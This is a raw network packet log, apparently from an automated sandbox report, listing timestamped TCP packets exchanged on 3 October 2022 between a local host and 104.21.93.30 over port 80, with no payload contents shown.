Oct 3, 2022 17:34:51.644426107 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.644440889 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.644454002 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.644458055 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.644490004 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.644509077 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.672530890 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.672561884 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.672580004 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.672688007 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.672776937 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.672796965 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.672816038 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.672836065 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.672853947 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.672862053 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.672873974 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.672888041 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.672892094 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.672910929 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.672914028 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.672930002 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.672944069 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.672950029 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.672971010 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.672976971 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.672991991 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673012018 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673023939 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.673029900 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673048019 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673052073 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.673067093 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673084974 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673090935 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.673103094 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673121929 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673139095 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673152924 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.673156977 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673171043 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.673202991 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.673497915 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673518896 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673537016 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673554897 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673572063 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673579931 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.673590899 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673600912 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.673609972 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673629045 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673646927 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673655033 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.673665047 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673683882 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673686981 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.673702955 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673721075 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673722982 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.673738956 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673758030 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673759937 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.673775911 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673790932 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.673795938 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673815012 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673823118 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.673834085 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673851967 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673856020 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.673870087 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.673902988 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.674484015 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.674505949 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.674525023 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.674532890 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.674544096 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.674562931 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.674570084 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.674623013 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.674952984 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.674977064 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.674995899 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675014019 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675030947 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675049067 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675050974 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.675067902 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675086021 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675102949 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675118923 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.675121069 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675138950 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675157070 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675157070 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.675177097 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675185919 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.675195932 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675214052 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675230980 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675230980 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.675249100 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675266981 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675267935 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.675285101 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675292969 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.675302982 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675322056 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675327063 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.675375938 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.675803900 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675826073 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675843954 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675862074 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675879002 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675883055 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.675910950 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675919056 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.675920963 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675928116 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675937891 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675956964 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675973892 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.675991058 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.675992012 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.676012039 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.676028967 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.676038980 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.676047087 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.676064968 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.676068068 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.676084042 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.676100969 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.676109076 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.676117897 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.676136017 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.676140070 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.676153898 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.676196098 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.676244974 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.676634073 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.676656961 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.676675081 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.676692963 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.676712036 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.676721096 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.676731110 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.676745892 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.676758051 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.676759005 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.676861048 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.677031994 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.677052975 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.677071095 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.677089930 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.677108049 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.677114010 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.677126884 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.677145004 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.677151918 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.677165031 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.677182913 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.677187920 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.677200079 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.677217960 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.677227020 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.677236080 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.677253962 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.677268982 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.677270889 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.677289963 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.677308083 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.677311897 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.677326918 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.677340031 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.677349091 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.677385092 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.699579954 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.704852104 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.704878092 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.704895973 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.704915047 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.704992056 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.705054045 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.705440998 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.705463886 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.705476999 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.705491066 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.705509901 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.705538034 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.705554962 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.705574036 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.705574036 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.705594063 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.705612898 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.705631018 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.705683947 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.705686092 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.705705881 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.705718994 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.705735922 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.705744982 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.705755949 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.705765009 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.705775976 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.705795050 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.705812931 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.705826044 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.705832958 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.705867052 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.705872059 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.705902100 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.705920935 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.705926895 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.705962896 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.705972910 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.705984116 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.706003904 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.706022024 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.706033945 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.706060886 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.706132889 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.706152916 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.706167936 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.706279039 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.706279039 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.707354069 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.707376003 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.707393885 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.707412004 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.707429886 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.707451105 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.707468987 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.707469940 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.707489967 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.707503080 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.707523108 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.707541943 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.707571983 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.707591057 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.707604885 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.707622051 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.707640886 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.707642078 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.707643032 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.707643032 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.707660913 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.707662106 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.707679987 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.707688093 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.707700014 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.707715988 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.707725048 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.707777023 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.708162069 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708183050 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708201885 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708242893 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708262920 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708281040 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708293915 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708312988 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708327055 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708336115 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.708336115 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.708345890 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708364010 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708365917 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.708384991 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708403111 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708416939 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.708422899 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708441973 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708451033 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.708462954 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708528042 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708539009 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.708539009 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.708548069 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708566904 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708585024 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708602905 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708615065 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.708658934 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.708722115 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708750963 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708781004 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.708784103 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708806038 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708822966 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708841085 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708869934 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708884954 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.708890915 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708909988 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708915949 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.708925962 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.708952904 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.708985090 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.709325075 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.709361076 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.709381104 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.709399939 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.709413052 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.709431887 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.709441900 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.709450006 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.709469080 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.709482908 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.709502935 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.709512949 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.709522963 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.709541082 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.709557056 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.709561110 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.709580898 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.709598064 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.709613085 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.709615946 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.709635973 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.709647894 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.709655046 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.709673882 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.709682941 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.709692955 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.709712029 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.709738970 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.709794998 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.710159063 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.731739998 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.731769085 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.731786966 CEST	80	49702	104.21.93.30	192.168.2.7
